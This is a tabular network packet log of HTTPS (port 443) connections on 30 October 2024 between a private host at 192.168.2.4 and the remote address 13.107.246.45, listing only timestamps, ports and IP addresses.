Oct 30, 2024 02:27:59.156461954 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.156492949 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.156589985 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.156702995 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.156712055 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.680192947 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.680663109 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.680682898 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.681116104 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.681119919 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.698437929 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.698765993 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.698780060 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.699126959 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.699131012 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.703941107 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.704173088 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.704180956 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.704495907 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.704499960 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.816725016 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.816876888 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.816942930 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.817054987 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.817065001 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.817073107 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.817076921 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.819960117 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.819983959 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.820066929 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.820244074 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.820256948 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.827330112 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.827470064 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.827517033 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.827544928 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.827557087 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.827569962 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.827575922 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.829344034 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.829406977 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.829489946 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.829612970 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.829639912 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.832631111 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.832788944 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.832895041 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.832930088 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.832943916 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.832953930 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.832958937 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.835501909 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.835510969 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.835578918 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.835683107 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.835694075 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.890044928 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.890417099 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.890431881 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.890836954 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.890841007 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.891700983 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.892003059 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.892018080 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 02:27:59.892379045 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:27:59.892383099 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.019159079 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.019354105 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.019407988 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.019454002 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.019476891 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.019496918 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.019504070 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.021617889 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.021686077 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.021775007 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.021893978 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.021913052 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.045236111 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.045448065 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.045523882 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.045655966 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.045664072 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.045671940 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.045675993 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.047527075 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.047612906 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.047708988 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.047826052 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.047862053 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.559452057 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.573457956 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.573522091 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.582180023 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.584914923 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.584932089 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.588747978 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.588769913 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.596183062 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.619457960 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.619463921 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.623342991 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.623356104 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.623821974 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.623826027 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.715292931 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.715390921 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.715461969 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.748058081 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.748233080 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.748284101 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.750603914 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.755559921 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.755882978 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.755945921 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.785993099 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.799631119 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.821748972 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.821784019 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.822443962 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.822455883 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.822999001 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.823051929 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.823081970 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.823101044 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.823133945 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.823144913 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.835738897 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.835745096 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.835753918 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.835760117 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.837326050 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.837342978 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.838090897 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.838102102 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.847661972 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.847685099 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.847737074 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.847887993 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.847901106 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.854280949 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.854357004 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.854423046 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.856825113 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.856832981 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.856882095 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.857090950 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.857100964 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.857286930 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.857319117 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.948405981 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.948620081 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.948718071 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.948718071 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.948800087 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.948827028 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.950640917 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.950656891 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.950726986 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.950851917 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.950865030 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.962598085 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.962836027 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.962920904 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.962975025 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.962975025 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.963005066 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.963033915 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.964667082 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.964714050 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:00.964792013 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.964910030 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:00.964936972 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.588659048 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.589250088 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.589281082 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.589687109 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.589693069 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.594930887 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.595299006 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.595307112 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.595654011 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.595700979 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.595705986 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.596091032 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.596138954 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.596553087 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.596570969 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.708606958 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.708945036 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.709021091 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.709052086 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.709356070 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.709369898 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.709376097 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.709381104 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.709783077 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.709788084 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.738791943 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.738998890 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.739072084 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.739137888 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.739154100 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.739165068 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.739170074 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.739450932 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.739521027 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.739576101 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.739587069 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.739758968 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.739769936 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.739769936 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.739795923 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.739824057 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.739850998 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.740341902 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.740346909 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.742815018 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.742826939 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.742891073 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.743052959 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.743124008 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.743186951 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.743422031 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.743479967 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.743525982 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.743540049 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.743546963 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.743597031 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.743624926 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.743697882 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.743731022 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.858938932 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.859177113 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.859385014 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.859477997 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.859513044 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.859539032 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.859555960 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.860996008 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.861231089 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.861290932 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.861325026 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.861330032 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.861341000 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.861344099 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.862534046 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.862549067 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.862611055 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.862742901 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.862756014 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.863275051 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.863337994 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:01.863408089 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.863504887 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:01.863535881 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.484734058 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.485014915 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.485275984 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.485285044 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.485526085 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.485568047 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.485800028 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.485805035 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.485987902 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.486000061 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.492656946 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.497210979 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.497284889 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.497610092 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.497627020 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.586174011 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.586801052 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.586833000 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.586854935 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.587378025 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.587388992 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.587620020 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.587671041 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.588009119 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.588021040 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.613725901 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.614054918 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.614121914 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.614265919 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.614270926 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.614286900 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.614295006 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.616658926 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.616676092 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.616735935 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.616903067 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.616915941 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.617486954 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.617604971 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.617657900 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.617803097 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.617835999 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.617866993 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.617881060 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.619822025 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.619842052 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.619896889 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.620048046 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.620059967 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.623610020 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.623948097 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.624005079 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.624037027 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.624037027 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.624053955 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.624066114 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.626010895 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.626038074 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.626100063 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.626220942 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.626230955 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.714065075 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.714195013 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.714258909 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.714410067 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.714493036 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.714493990 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.714515924 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.714515924 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.714526892 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.714528084 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.714528084 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.714534998 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.714540958 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.714553118 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.716514111 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.716525078 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.716609955 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.716624975 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.716645956 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.716691971 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.716758966 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:02.716770887 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:02.716814041 CET	49803	443	192.168.2.4	13.107.246.45
